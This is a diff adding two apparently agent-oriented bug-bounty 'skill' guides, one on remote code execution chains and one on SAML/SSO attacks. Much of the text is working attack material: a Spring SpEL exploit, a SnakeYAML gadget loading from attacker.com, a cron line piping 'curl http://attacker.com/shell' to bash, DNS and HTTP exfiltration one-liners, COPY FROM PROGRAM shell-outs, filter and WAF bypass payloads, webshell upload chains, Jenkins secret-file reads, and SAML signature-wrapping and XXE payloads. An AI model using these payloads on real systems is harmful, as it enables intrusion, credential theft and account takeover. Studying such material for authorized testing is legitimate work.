+ - Confirm with `curl -s http://target:8080/uppercase -H "Content-Type: text/plain" --data-binary "test"` → returns `TEST`
174
+ - Version banner via `/actuator/info` or response headers
175
+
176
+ **Exploit:**
177
+ ```bash
178
+ curl -X POST http://target:8080/functionRouter \
179
+ -H "Content-Type: text/plain" \
180
+ -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{"id"})' \
181
+ --data "x"
182
+ ```
183
+
184
+ The `new String[]{"...", "..."}` array form avoids shell-quoting issues that break the more common `.exec("id")` form when the SpEL header contains parentheses or quotes.
185
+
186
+ **Generalizes to:** any Spring application that takes user input into a `SpelExpressionParser.parseExpression()` call, especially when delivered via header / query-param routes that bypass normal auth filters. See `hunt-ssti` for the broader SpEL fingerprinting (`*{7*7}` = Spring Thymeleaf).
187
+
188
+ ### SnakeYAML RCE Gadget
189
+ ```yaml
190
+ !!javax.script.ScriptEngineManager [
191
+ !!java.net.URLClassLoader [[
192
+ !!java.net.URL ["http://attacker.com/exploit.jar"]
193
+ ]]
194
+ ]
195
+ ```
196
+
197
+ ### Ruby YAML / rdoc_options RCE
198
+ ```yaml
199
+ --- !ruby/object:Gem::Installer
200
+ i: x
201
+ ```
202
+
203
+ ### Dependency Confusion Detection
204
+ ```bash
205
+ # Find internal package names
206
+ grep -r '"name"' node_modules/ | grep '@internal\|@company\|@private'
207
+ # Check if public registry has higher version
208
+ npm view @target-company/internal-package version 2>/dev/null
209
+ ```
210
+
211
+ ### Ingress-nginx Path Injection
212
+ ```
213
+ # In spec.rules.http.paths.path
214
+ /something)(;.*);#
215
+ # Results in nginx config injection
216
+ ```
217
+
218
+ ### Kubernetes Exposed API Check
219
+ ```bash
220
+ curl -sk https://TARGET:6443/api/v1/namespaces/default/pods \
221
+ -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
222
+ kubectl --insecure-skip-tls-verify -s https://TARGET:6443 get pods --all-namespaces
223
+ ```
224
+
225
+ ### Out-of-Band RCE Confirmation
226
+ ```bash
227
+ # Payload to confirm blind RCE via DNS
228
+ curl "http://$(id | base64).YOUR-INTERACTSH-URL/"
229
+ nslookup $(whoami).attacker.com
230
+ wget http://attacker.com/$(cat /etc/hostname)
231
+ ```
232
+
233
+ ### ActiveStorage Path Traversal → RCE
234
+ ```
235
+ # Filename in upload request
236
+ filename="../../../../etc/cron.d/backdoor"
237
+ # Cron payload content
238
+ * * * * * root curl http://attacker.com/shell | bash
239
+ ```
240
+
241
+ ### Args4j `@`-prefix file expansion (Jenkins CVE-2024-23897 family)
242
+
243
+ Java CLIs built on the `args4j` library default to `expandAtFiles=true`, which expands `@filename` arguments by reading the file and treating each line as a separate command argument. When such a CLI is exposed over HTTP (Jenkins CLI is the canonical case), the server-side error message echoes failed arguments back — turning argument echoing into an arbitrary file-read primitive. Unauthenticated when "anonymous read access" is on (Jenkins default for fresh installs).
244
+
245
+ **Detection:**
246
+ - Target exposes `/cli` and `/jnlpJars/jenkins-cli.jar` (Jenkins family)
247
+ - Or: any Java app whose CLI source uses args4j without `expandAtFiles=false`
248
+
249
+ **Test (Jenkins):**
250
+ ```bash
251
+ # Get the legit CLI jar from the target
252
+ curl -sLO http://target:8080/jnlpJars/jenkins-cli.jar
253
+
254
+ # First line of file leaks via 'help' error
255
+ java -jar jenkins-cli.jar -s http://target:8080/ -http help 1 @/etc/passwd
256
+ # → ERROR: Too many arguments: root:x:0:0:root:/root:/bin/bash
257
+
258
+ # Full file leaks via 'connect-node' (every line returned as a "no such agent" error)
259
+ java -jar jenkins-cli.jar -s http://target:8080/ -http connect-node @/etc/passwd
260
+ # → All passwd lines echoed back
261
+
262
+ # Recon: env vars + JENKINS_HOME path
263
+ java -jar jenkins-cli.jar -s http://target:8080/ -http help 1 @/proc/self/environ
264
+ ```
265
+
266
+ **Crown-jewel files after JENKINS_HOME confirmed:**
267
+ - `/var/jenkins_home/secret.key` — master encryption key for stored credentials
268
+ - `/var/jenkins_home/secrets/master.key` — derives the encryption key
269
+ - `/var/jenkins_home/credentials.xml` — credential store (encrypted with secret.key — pair with offline decrypt tools)
270
+ - `/var/jenkins_home/users/*/config.xml` — per-user API tokens (often unencrypted)
271
+ - `/var/jenkins_home/jobs/*/config.xml` — pipeline configs that may inline AWS keys, SSH keys, registry tokens
272
+
273
+ **Pattern generalizes beyond Jenkins.** Any Java service that:
274
+ 1. Embeds args4j (most enterprise Java CLIs since 2010s)
275
+ 2. Exposes the CLI handler over HTTP (Jenkins, Hudson forks, custom internal tools)
276
+ 3. Returns argument-parsing errors verbatim to the client
277
+
278
+ → same arbitrary-read primitive applies. Validation via `triage-validation` Reproducibility Gate: confirm the leak on at least 2 distinct commands (e.g., `help` and `connect-node`) and verify the file content actually appears in the response, not just a generic 500.
279
+
280
+ ### Grep Patterns for Source Review
281
+ ```bash
282
+ # Command injection sinks
283
+ grep -rn "exec\|system\|popen\|spawn\|eval\|subprocess" --include="*.rb" .
284
+ grep -rn "Runtime.exec\|ProcessBuilder\|ScriptEngine" --include="*.java" .
285
+
286
+ # Template engine instantiation
287
+ grep -rn "Mustache\|Handlebars\|nunjucks\|render_template\|Template\(" .
288
+
289
+ # Unsafe YAML load
290
+ grep -rn "yaml\.load\b\|YAML\.load\b" . # without Loader= argument
291
+ grep -rn "Yaml()\|new Yaml()" --include="*.java" .
292
+ ```
293
+
294
+ ---
295
+
296
+ ## Common Root Causes
297
+
298
+ **1. Configuration-as-code with insufficient sanitization**
299
+ Administrators edit configuration files (syslog-ng, collectd, nomad) through web UIs. Developers assume admin == trusted, so they pass field values directly into config files that support execution primitives (`program()` destinations, exec plugins, template functions).
300
+
301
+ **2. Template engines in privileged contexts**
302
+ Go's `text/template`, Freemarker, Velocity, and Twig are used for system configuration rendering. When user-controlled strings reach these engines without sandboxing, arbitrary code follows.
303
+
304
+ **3. Dependency confusion / namespace squatting**
305
+ Internal packages published to private registries without locking the public registry namespace. Build systems that prefer public registries by default, or that fall through to public when the private registry lacks a package.
306
+
307
+ **4. Unsafe deserialization of YAML/XML**
308
+ Developers use `YAML.load()` without safe loaders, or `new Yaml()` (SnakeYAML) without type restrictions. Ruby's `YAML.load` and Java's SnakeYAML both support arbitrary object instantiation by default.
309
+
310
+ **5. Path traversal in file operation chains**
311
+ Filenames accepted from user input are used in filesystem operations without normalization. Rails ActiveStorage, file upload handlers, and rdoc generators trust the `filename` parameter.
312
+
313
+ **6. Assuming low-privilege roles can't reach execution contexts**
314
+ The GHES management console granted "Editor" roles access to configuration fields that touched shell execution. Developers assumed privilege boundaries existed at a higher architectural level.
315
+
316
+ **7. Missing input validation on infrastructure-facing fields**
317
+ Ingress/nginx annotation values, Kubernetes spec fields, and webhook URLs are treated as opaque strings — but the downstream processor (nginx config generator, regex engine) interprets them as code.
318
+
319
+ ---
320
+
321
+ ## Bypass Techniques
322
+
323
+ ### Bypass: Shell metacharacter filtering
324
+ ```bash
325
+ # Blocked: ; | & ` $()
326
+ # Bypass using $IFS and encodings
327
+ cat${IFS}/etc/passwd
328
+ {cat,/etc/passwd}
329
+ $'\x63\x61\x74' /etc/passwd # hex encoding
330
+ $(printf '\x63\x61\x74') /etc/passwd
331
+
332
+ # Newline injection when semicolons blocked
333
+ payload=$'\ncurl attacker.com\n'
334
+ ```
335
+
336
+ ### Bypass: URL scheme allowlist (javascript: blocked)
337
+ ```
338
+ # Mobile apps often block javascript: but miss:
339
+ jAvAsCrIpT:alert(1) # case variation
340
+ javascript&#58;alert(1) # HTML entity
341
+ javascript:void(alert(1)) # void wrapper
342
+ intent://attacker.com#Intent;scheme=javascript;...
343
+ data:text/html,<script>alert(1)</script>
344
+ ```
345
+
346
+ ### Bypass: YAML safe_load / type restrictions
347
+ ```yaml
348
+ # If !!java.* is blocked, try legitimate classes with side effects
349
+ !!com.sun.rowset.JdbcRowSetImpl
350
+ dataSourceName: 'ldap://attacker.com/a'
351
+ autoCommit: true
352
+ # Or find allowlisted types with dangerous constructors
353
+ ```
354
+
355
+ ### Bypass: npm scope restrictions
356
+ ```
357
+ # If @company/* is monitored, look for unscoped internal names
358
+ # e.g., "internal-utils" instead of "@company/internal-utils"
359
+ # Public registries serve unscoped packages first
360
+ ```
361
+
362
+ ### Bypass: Path traversal filters
363
+ ```
364
+ # Basic filter bypass
365
+ ../ → ..%2F → %2e%2e%2f → ....//
366
+ # Double encoding
367
+ %252e%252e%252f
368
+ # Unicode normalization
369
+ ..%c0%af (overlong UTF-8)
370
+ # Null byte (older systems)
371
+ ../../etc/passwd%00.jpg
372
+ ```
373
+
374
+ ### Bypass: Template injection with output filtering
375
+ ```
376
+ # If {{ }} is sanitized on output but not evaluation:
377
+ {% for x in range(1) %}{{ lipsum.__globals__.os.popen('id').read() }}{% endfor %}
378
+ # Blind — use DNS callback instead of output
379
+ {{ lipsum.__globals__.os.popen('nslookup $(id).attacker.com').read() }}
380
+ ```
381
+
382
+ ### Bypass: WAF blocking `exec`, `system`, `popen`
383
+ ```ruby
384
+ # Ruby
385
+ send(:system, "id")
386
+ method(:exec).call("id")
387
+ Kernel.send(:`, "id")
388
+ Object.const_get(:Kernel).system("id")
389
+ ```
390
+
391
+ ---
392
+
393
+ ## Gate 0 Validation
394
+
395
+ Before writing the report, confirm all three:
396
+
397
+ **1. What can the attacker DO right now?**
398
+ You must be able to demonstrate one of: execute `id`/`whoami` and capture the output, make a DNS/HTTP callback from the target server to your controlled host, write a file to the filesystem, or read `/etc/passwd`. "Might be able to" fails this gate.
399
+
400
+ **2. What does the victim LOSE?**
401
+ Articulate the concrete impact: source code exfiltration, credential theft (database, API keys, cloud IAM), lateral movement to internal network, supply chain compromise of downstream users, data destruction. Generic "attacker gains RCE" fails — name the crown jewels at risk.
402
+
403
+ **3. Can it be reproduced in 10 minutes from scratch?**
404
+ Write the reproduction steps before submitting. If you need more than: (a) a Burp request, (b) a payload file, and (c) a listener — simplify it. If reproduction requires a specific race condition, timing, or ephemeral state, document the exact conditions. Triagers who can't reproduce in one attempt will downgrade or close the report.
405
+
406
+ ---
407
+
408
+ ## Real Impact Examples
409
+
410
+ **Scenario A: Management Console Role → Root Shell (Enterprise Server)**
411
+ An attacker with a low-privileged "Management Console Editor" account on a GitHub Enterprise Server instance identified that the syslog-ng configuration UI accepted a free-form "destination" field. By injecting a `program()` destination containing a reverse shell command, the attacker caused the syslog-ng daemon (running as root) to execute arbitrary OS commands upon log receipt. The same attack surface was independently found in collectd's exec plugin configuration and nomad's job template rendering — all reachable from the same editor role. Impact: full root compromise of the enterprise git server hosting all organization source code, secrets, and CI/CD pipelines.
412
+
413
+ **Scenario B: Dependency Confusion → RCE on Build Infrastructure**
414
+ A researcher enumerated internal npm package names by reviewing JavaScript bundles served from target CDN endpoints and public GitHub repositories belonging to a major payments platform. Several `@internal/*` scoped packages were referenced but not registered on the public npm registry. The researcher published higher-versioned packages with identical names containing a postinstall script that executed a canary callback. Within hours, the callback fired from multiple IP addresses belonging to the target's CI/CD build farm — confirming that every npm install on their build infrastructure executed attacker-controlled code. The same technique worked against a ride-sharing platform's internal tooling. Impact: arbitrary code execution on build servers with access to production deployment credentials and signing keys.
415
+
416
+ **Scenario C: Exposed Kubernetes API → Cluster Takeover**
417
+ During reconnaissance on a target's cloud infrastructure, a researcher discovered a publicly accessible Kubernetes API server (port 6443) with overly permissive RBAC. Using default service account tokens and unauthenticated API calls, the researcher enumerated running pods, retrieved secrets from the default namespace (including database credentials and third-party API keys), and demonstrated the ability to spawn privileged pods with `hostPID: true` — enabling full node compromise. The Kubernetes cluster managed the target's core production services. Impact: access to all stored secrets, ability to deploy malicious workloads, and pivot to every service in the cluster.
418
+
419
+ ---
420
+
421
+ ## Chains & Compositions (Senior Hunting)
422
+
423
+ RCE in 2020-2026 rarely arrives at a single sink. Every modern RCE is composed of (1) a primitive that puts attacker bytes onto the host or into a deserialization pipeline, plus (2) an exec gadget that interprets them. The chains below decompose six high-paying RCE shapes into their primitive components — each step is testable in isolation, the chain is what pays.
424
+
425
+ ### Chain 1 — SSRF + IMDSv1 + Leaked IAM Role → Lambda Invoke → Backend RCE (Capital One pattern)
426
+
427
+ - **A.** SSRF on a server-side fetcher (link-preview, image proxy, webhook URL, PDF generator). Confirmed via Burp Collaborator OOB callback.
428
+ - **B.** Point SSRF at AWS IMDSv1 metadata: `http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>` → returns temporary STS credentials.
429
+ - **C.** Use the credentials with `aws lambda invoke --function-name <internal-function>` — Lambda runs server-side code that the attacker can influence via the function's input parameter.
430
+ - **Impact:** Full backend RCE in the Lambda context, plus pivot path to whatever else the role grants (S3 / DynamoDB / RDS).
431
+ - **Real shape:** Capital One 2019 — $80M civil penalty, attacker conviction. SSRF in a WAF on EC2 → IMDSv1 → IAM role → 106M-record breach via S3 sync. Cross-refs `hunt-ssrf` Disclosed Report Citation #6.
432
+
433
+ ### Chain 2 — SQLi + `COPY FROM PROGRAM` → Direct OS-level RCE on Postgres Host
434
+
435
+ - **A.** SQLi confirmed on a Postgres backend (boolean/time-based works; UNION not needed).
436
+ - **B.** The DB user has either `pg_read_server_files` or `COPY` privileges (default for many AWS RDS / Google Cloud SQL roles when "admin" databases exist).
437
+ - **C.** Stack a query: `'; COPY users FROM PROGRAM 'curl http://attacker/x.sh | bash'; --` → Postgres shells out to `/bin/sh -c <attacker command>` → RCE as `postgres` user.
438
+ - **Impact:** RCE as the database user, which on managed Postgres frequently has IAM credentials and direct access to other AWS resources.
439
+ - **Real shape:** Multiple H1 disclosures 2020-2024 across SaaS apps backed by Postgres. Cross-refs `hunt-sqli` Disclosed Report Citation #12 and root cause discussion of `FILE`/`xp_cmdshell` privileges.
440
+
441
+ ### Chain 3 — Image Upload + Path Traversal in Filename + Misconfigured MIME Serving → Webshell
442
+
443
+ - **A.** File upload accepts images (`image/png`, `image/jpeg`). The server saves with the user-supplied filename or only validates Content-Type, not actual content.
444
+ - **B.** Upload a `.aspx`/`.jsp`/`.php` file with the correct image magic-bytes (`GIF89a` + PHP after) and a filename containing `../` to write outside the upload directory into the web-root (`../../../public/webshell.php`).
445
+ - **C.** Request `https://target/webshell.php?cmd=id` — server's PHP/ASP.NET handler runs the script regardless of extension policy because the path doesn't pass through the upload-dir filter.
446
+ - **Impact:** Unauthenticated or low-priv attacker gets webshell on the application server with the web-server's process privileges.
447
+ - **Real shape:** Multiple disclosed H1 cases on legacy upload handlers; canonical pre-2020 RCE class. Pairs with `hunt-file-upload` (upload bypass table) and `hunt-misc` path-traversal patterns.
448
+
449
+ ### Chain 4 — Prototype Pollution + Lodash/Mongoose Gadget Chain → `child_process.spawn` → Node RCE
450
+
451
+ - **A.** Identify prototype pollution sink — JSON merge / Object.assign / lodash `_.merge` / Node `Object.create` chain receiving attacker JSON.
452
+ - **B.** Pollute `Object.prototype.shell` to `true` OR `Object.prototype.env.NODE_OPTIONS` to `--require ./malicious.js`. The polluted prototype reaches a downstream `child_process.spawn` or `vm.runInThisContext`.
453
+ - **C.** Sink executes with attacker-controlled shell/env → attacker code runs in Node.js process context with full access to environment variables, AWS metadata, internal services.
454
+ - **Impact:** Server-side JS execution from a JSON POST. Common in Express apps using `body-parser` + `lodash.merge` for config-merging.
455
+ - **Real shape:** `lodash.merge` CVE-2018-16487, CVE-2019-10744, CVE-2020-8203; `mongoose` CVE-2024-53900 (cross-refs `hunt-sqli` Disclosed Report Citation #10 — same gadget family reaches Mongo `$where` instead of process).
456
+
457
+ ### Chain 5 — Unencrypted ViewState + Recovered MachineKey → ASP.NET Deserialization → RCE (ToolShell class)
458
+
459
+ - **A.** Identify an ASP.NET endpoint where `__VIEWSTATEENCRYPTED=""` (ViewState is signed but not encrypted). Confirm via Burp / curl on form-bearing pages.
460
+ - **B.** Recover the `<machineKey>` validationKey — via config leak (`/web.config` accessible), via subdomain takeover of a sibling app sharing the key, or via the CVE-2025-53771 ToolShell exploit chain that exfils the key on Subscription Edition.
461
+ - **C.** Forge a ViewState using `ysoserial.net --plugin=ViewState --validationkey=<key>` with a `TypeConfuseDelegate` / `WindowsIdentity` payload. Submit to the endpoint. ASP.NET deserialises into a method-call gadget chain ending in `Process.Start` → RCE as the worker-process identity.
462
+ - **Impact:** Full RCE on the IIS web front-end with whatever the AppPool identity grants — often `NETWORK SERVICE` (with SharePoint farm-account access) or higher.
463
+ - **Real shape:** CVE-2025-53770 / 53771 ToolShell (July 2025 emergency advisory); SP2013 unpatched-by-EoL exposure. Cross-refs `hunt-sharepoint` ToolShell precondition chain and `hunt-aspnet` ViewState dual-parser anti-pattern.
464
+
465
+ ### Chain 6 — XXE + PHP `expect://` Stream Wrapper → Direct RCE on Legacy PHP
466
+
467
+ - **A.** XXE confirmed via OOB DTD callback (`<!ENTITY % x SYSTEM "http://attacker/dtd">`).
468
+ - **B.** Target runs PHP with the `expect` extension enabled (rare in 2026, but still present on legacy hosts and some shared-hosting providers).
469
+ - **C.** Send `<!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id">]><foo>&xxe;</foo>` — PHP's stream wrapper executes `id` through expect → output returned in entity expansion or via OOB.
470
+ - **Impact:** RCE as the PHP/web-server user without needing a separate upload or SQLi primitive.
471
+ - **Real shape:** Rockstar Games emblem editor XXE H1 #347139 (2018, $1,500); Adobe Commerce CosmicSting CVE-2024-34102 (XXE → RCE via crypt-key exfil). Cross-refs `hunt-xxe` Disclosed Report Citation #7 and #10.
472
+
473
+ ### Operator-level pattern
474
+
475
+ Every modern RCE chain has two halves: **the bytes get there** (SSRF, SQLi, upload, prototype-pollution, ViewState, XXE) and **the bytes get interpreted** (lambda invoke, COPY PROGRAM, webshell handler, child_process.spawn, deserializer gadget, expect://). Hunt for the first half; the second is usually one of the six above. If your first-half primitive doesn't compose with any of these — pause before submitting. "Could lead to RCE" is Low/Medium; "RCE demonstrated end-to-end" is Critical.
476
+
477
+ Cross-references:
478
+ - `hunt-ssrf` — Chain 1
479
+ - `hunt-sqli` — Chain 2
480
+ - `hunt-file-upload` — Chain 3
481
+ - `hunt-api-misconfig` (proto-pollution) — Chain 4
482
+ - `hunt-sharepoint` + `hunt-aspnet` — Chain 5
483
+ - `hunt-xxe` — Chain 6
484
+
485
+ ---
486
+
487
+ ## Related Skills & Chains
488
+
489
+ - **`hunt-ssti`** — Template engines that hit `eval()`/`exec()`/`os.system()` are RCE hiding behind a render call. Chain primitive: Jinja2 `{{config.__class__.__init__.__globals__['os'].popen('id').read()}}` reflected in email-template preview → unauthenticated RCE as the worker process.
490
+ - **`hunt-file-upload`** — File-write primitives become RCE when the upload directory is web-served, processed by a deserializer, or loaded by a `.htaccess`/`web.config`. Chain primitive: SVG/PHP polyglot bypasses MIME check → direct `GET /uploads/shell.php?cmd=id` → RCE; or DOCX with `phar://` stream wrapper → PHP object deserialization → RCE.
491
+ - **`hunt-ssrf`** — When the RCE primitive lives on an internal-only endpoint (admin console, internal Redis, Jenkins script-console), gate it through an SSRF. Chain primitive: external SSRF → `http://127.0.0.1:8080/manage/scriptText` (Jenkins/Tomcat) → Groovy `Runtime.exec` → RCE; or SSRF → `gopher://redis:6379` write to crontab → RCE.
492
+ - **`hunt-aspnet`** — ASP.NET ViewState deserialization is a giant RCE class behind a known `__VIEWSTATE` parameter. Chain primitive: machineKey recovery (or leaked `<machineKey>` from `web.config` disclosure) → `ysoserial.net -p ViewState -g TypeConfuseDelegate` → RCE as `IIS APPPOOL\<name>`.
493
+ - **`security-arsenal`** — Reach for the deserialization payload tree (ysoserial Java gadget chains, ysoserial.net for .NET ViewState/BinaryFormatter, Python pickle `__reduce__`, Ruby Marshal, PHP `phar://` metadata, Node `node-serialize` IIFE) the moment you have a sink that accepts serialized bytes.
494
+ - **`triage-validation`** — Apply the Pre-Severity Gate before claiming Critical. A "blind RCE" that turns out to be file-write-only with no execution path is not RCE; a sandboxed eval that can't reach `os` is at best Medium SSTI. Prove `whoami`/OOB DNS callback with a unique marker before writing the report.
@@ -0,0 +1,112 @@
1
+ ---
2
+ name: hunt-saml
3
+ description: "Hunt SAML / SSO attacks. Patterns: XML Signature Wrapping (XSW) — modify Assertion while keeping Signature valid by relocating signed element, comment injection in NameID (admin@target.com<!--evil-->@attacker.com → some parsers see admin@target.com), signature stripping (remove Signature element entirely, server should reject but doesn't), key confusion (signed by attacker's IdP, accepted by SP), audience-restriction not validated, replay attack (same Assertion accepted twice within validity window). Tools: SAML Raider Burp extension, samlmagic, manual XML manipulation. Detection: any /saml endpoint, /Shibboleth.sso, /sso/saml/, Microsoft ADFS endpoints. Validate: account takeover via altered NameID, admin role injection via altered AttributeStatement. Use when hunting SSO flows, when SAML AssertionConsumerService is reachable, when chaining IdP-trust to SP-impersonation."
4
+ sources: cve_database, oasis_saml_spec, academic_research, public_research
5
+ report_count: 6
6
+ ---
7
+
8
+ ## 20. SAML / SSO ATTACKS
9
+ > SSO bugs frequently pay High–Critical. XML parsers are notoriously inconsistent.
10
+
11
+ ### Attack Surface
12
+ ```bash
13
+ # Find SAML endpoints
14
+ cat recon/$TARGET/urls.txt | grep -iE "saml|sso|login.*redirect|oauth|idp|sp"
15
+ # Key endpoints: /saml/acs (assertion consumer service), /sso/saml, /auth/saml/callback
16
+ ```
17
+
18
+ ### Attack 1: XML Signature Wrapping (XSW)
19
+ ```xml
20
+ <!-- BEFORE: valid assertion by user@company.com -->
21
+ <saml:Response>
22
+ <saml:Assertion ID="legit">
23
+ <NameID>user@company.com</NameID>
24
+ <ds:Signature><!-- Valid, covers ID=legit --></ds:Signature>
25
+ </saml:Assertion>
26
+ </saml:Response>
27
+
28
+ <!-- AFTER: inject evil assertion. Signature still validates (covers #legit).
29
+ App processes the FIRST assertion found = evil. -->
30
+ <saml:Response>
31
+ <saml:Assertion ID="evil">
32
+ <NameID>admin@company.com</NameID> <!-- Attacker-controlled -->
33
+ </saml:Assertion>
34
+ <saml:Assertion ID="legit">
35
+ <NameID>user@company.com</NameID>
36
+ <ds:Signature><!-- Valid --></ds:Signature>
37
+ </saml:Assertion>
38
+ </saml:Response>
39
+ ```
40
+
41
+ ### Attack 2: Comment Injection in NameID
42
+ ```xml
43
+ <!-- Attacker registers/controls account: admin@company.com.evil.com -->
44
+ <NameID>admin@company.com<!---->.evil.com</NameID>
45
+ <!-- Signed canonical form (C14N without-comments strips the comment BEFORE
46
+ digest): "admin@company.com.evil.com" — the value the signature covers. -->
47
+ <!-- App's XML processor also strips the comment but only reads the text node
48
+ UP TO the comment boundary: "admin@company.com" — a DIFFERENT effective
49
+ identity than was signed. The discrepancy is the bug. -->
50
+ <!-- Works when signer's C14N and app's text extraction disagree on comments.
51
+ CVE-2017-11428 (Ruby-SAML / OneLogin), CVE-2016-5697. -->
52
+ ```
53
+
54
+ ### Attack 3: Signature Stripping
55
+ ```
56
+ 1. Decode SAMLResponse: echo "BASE64" | base64 -d | xmllint --format - > saml.xml
57
+ 2. Delete the entire <Signature> element
58
+ 3. Change NameID to admin@company.com
59
+ 4. Re-encode: base64 -w0 saml.xml (POST binding = raw base64, NO compression; Redirect binding uses raw DEFLATE — not gzip)
60
+ 5. Submit — if server doesn't verify signature presence = admin ATO
61
+ ```
62
+
63
+ ### Attack 4: XXE in SAML Assertion
64
+ ```xml
65
+ <?xml version="1.0"?>
66
+ <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
67
+ <saml:Assertion>
68
+ <NameID>&xxe;</NameID>
69
+ </saml:Assertion>
70
+ ```
71
+
72
+ ### Attack 5: NameID Manipulation
73
+ ```
74
+ Test these NameID values:
75
+ - admin@company.com (generic admin)
76
+ - administrator@company.com
77
+ - support@target.com
78
+ - Any email found in disclosed reports for this program
79
+ - ${7*7} (SSTI if NameID gets rendered in a template)
80
+ ```
81
+
82
+ ### Tools
83
+ ```bash
84
+ # SAMLRaider (Burp extension) — automated XSW testing
85
+ # BApp Store → SAMLRaider → intercept SAMLResponse → SAML Raider tab
86
+
87
+ # Manual workflow:
88
+ echo "BASE64_SAML" | base64 -d > saml.xml
89
+ # Edit saml.xml
90
+ base64 -w0 saml.xml # Re-encode
91
+ # URL-encode the result before sending as SAMLResponse parameter
92
+ ```
93
+
94
+ ### SAML Triage
95
+ ```
96
+ XSW successful = Critical (ATO any user)
97
+ Sig stripping = Critical (ATO any user)
98
+ Comment injection = High (ATO admin)
99
+ XXE in assertion = High (file read / SSRF)
100
+ NameID manip = Medium/High (depends on what NameID maps to)
101
+ ```
102
+
103
+ ---
104
+
105
+ ## Related Skills & Chains
106
+
107
+ - **`hunt-ato`** — SAML XSW with absent audience-restriction validation is the canonical SP-impersonation-of-admin chain. Chain primitive: XSW1 attack relocates signed assertion to a secondary position + injects evil assertion with `NameID=admin@target.com` in primary position + SP processes first assertion (the evil one) + SP doesn't validate `<AudienceRestriction>` so an assertion intended for IdP-A is accepted by SP-B → admin ATO across federated tenant boundary.
108
+ - **`hunt-auth-bypass`** — SAML signature-stripping is the textbook auth-bypass pattern; this skill provides the SAML mechanics, hunt-auth-bypass provides the broader bypass-discipline. Chain primitive: capture valid SAMLResponse → regex-strip `<ds:Signature>` element entirely → modify `<NameID>` to admin → re-encode base64 → POST to `/saml/acs` → SP wantAssertionsSigned=false silently accepts → admin session issued without any cryptographic challenge.
109
+ - **`hunt-oauth`** — SAML-fronted OAuth issuers turn assertion-level bugs into token-level ATO. Chain primitive: SP issues OAuth bearer tokens after SAML assertion validation + XSW alters NameID to admin → SP's token endpoint issues OAuth token bearing admin claims → all downstream OAuth-scoped APIs (admin API, billing API, user-management API) grant admin access from a single forged assertion.
110
+ - **`hunt-xxe`** — SAML assertions ARE XML; XXE in the assertion parser is a separate chain on top of XSW. Chain primitive: SAML parser without `disallow-doctype-decl` + `<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>` in assertion + `<NameID>&xxe;</NameID>` → SP renders/logs NameID → /etc/passwd contents leak in error response or audit log → file-read primitive on SAML SP infrastructure.
111
+ - **`security-arsenal`** — Pull the SAML/XSW Payload Catalog (XSW1-XSW8 templates, comment-injection variants for libxml/Xerces/MSXML parser differences, signature-wrapping with multiple Reference elements, key-confusion payloads where attacker-IdP-signed assertions are accepted by trust-naive SPs) and the always-rejected list for "SAMLResponse accepted on the wrong endpoint" claims that don't actually validate.
112
+ - **`triage-validation`** — Run the Pre-Severity Gate before claiming Critical on a SAML "vulnerability" that only modifies non-security-relevant attributes (display name, locale) without altering NameID, AuthnContext, or role-bearing AttributeStatements. Theoretical XML manipulation that doesn't cross an authorization boundary is Informational, not Critical — the auth-decision-changing step is the gate.